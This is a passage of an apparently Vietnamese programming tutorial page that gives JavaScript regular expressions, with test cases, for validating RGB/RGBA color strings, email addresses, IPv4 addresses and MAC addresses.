punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb( 255, 15, 120 )"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgc(255,15,120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb[255,15,120]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(255-15-120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb( 255,5,120,)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(355, 5, 120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(155, 405, 120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(5, 5, 520)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(255,,120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(03, 15, 120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-là-mã-màu-rgba" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-m%C3%A3-m%C3%A0u-rgba" aria-label="kiểm tra string là mã màu rgba permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là mã màu RGBA</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^rgba\(((\s*(\d|[1-9]\d|1\d\d|2[0-4][0-9]|25[0-5])\s*),){3}(\s*(1(\.0+)?|0?\.\d+)\s*)\)$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isRGBAColor <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^rgba\(((\s*(\d|[1-9]\d|1\d\d|2[0-4][0-9]|25[0-5])\s*),){3}(\s*(1(\.0+)?|0?\.\d+)\s*)\)$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(0, 0, 0, 1)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(0, 15, 120, 1.0)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(10, 1, 230, 1.00)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(255, 15, 9, 0.3)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(255, 255, 255, .555)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(255,15,120,0.4)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba( 255, 15, 120 , 1.0)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgbd(255,15,120,1.0)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba[255,15,120,1.0]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(255-15-120-1.0)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba( 255,5,120,1,)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(155, 5, 120,2)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(155, 405, 120, 0.3)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(5, 5, 520, 0.4)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(255,,120, 1)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBAColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgba(03, 15, 120, 0.5)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-là-email" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-email" aria-label="kiểm tra string là email permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là email</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-z0-9!#$%&amp;'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&amp;'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isEmail <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-z0-9!#$%&amp;'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&amp;'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"email"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"lam@hotmail"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"@lpv@yahoo"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+admin@test"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]_"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isEmail<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"[email protected]"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Tham khảo: <a href="https://stackoverflow.com/questions/46155/how-to-validate-an-email-address-in-javascript">How to validate an email address in JavaScript?</a></p> <h2 id="kiểm-tra-string-là-ipv4" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-ipv4" aria-label="kiểm tra string là ipv4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là IPv4</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isIPv4 <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"255.255.255.255"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0.0.0.0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0.12.34.56"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"255.0.0.255"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12.34.56.78"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"02.34.56.78"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12.04.56.78"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12.34.06.78"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12.34.56.08"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12.34.56.055"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12..34.56.0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"ab.ab.ab.ab"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">".255.255.23"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"11.11.0.256"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1000.0.0.00"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"255.255.255.00"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12.34.56.78."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isIPv4<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"111111111111"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo: <a href="https://www.regexpal.com/104851">IP v4 validation REGEX</a></p> <h2 id="check-string-là-địa-chỉ-mac" style="position:relative;"><a href="#check-string-l%C3%A0-%C4%91%E1%BB%8Ba-ch%E1%BB%89-mac" aria-label="check string là địa chỉ mac permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Check string là địa chỉ MAC</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isMACAddress <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3D:F2:C9:A6:B3:4F"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3d:f2:c9:a6:b3:4f"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3D-F2-C9-A6-B3-4F"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3d-f2-c9-a6-b3-4F"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"d3-2f-9c-6a-3b-f4"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"00-00-00-00-00-00"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3D:F2-C9:A6-B3:4F"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"99:99:99:99:99:99"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0:0:0:0:0:0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"d33-2ff-9c4-6aa-3b4-b56"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"qw:er:ty:ui:op:as"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3A.FC.C0.B6.A8.45"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"3A-FC-C0-B6-A9"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMACAddress<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"d3-2f-9c-6a-3b-f4-b5"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo: <a href="https://stackoverflow.com/questions/4260467/what-is-a-regular-expression-for-a-mac-address">What is a regular expression for a MAC Address?</a></p> <h2 id="kiểm-tra-string-là-md5" style="position:relative;"><a 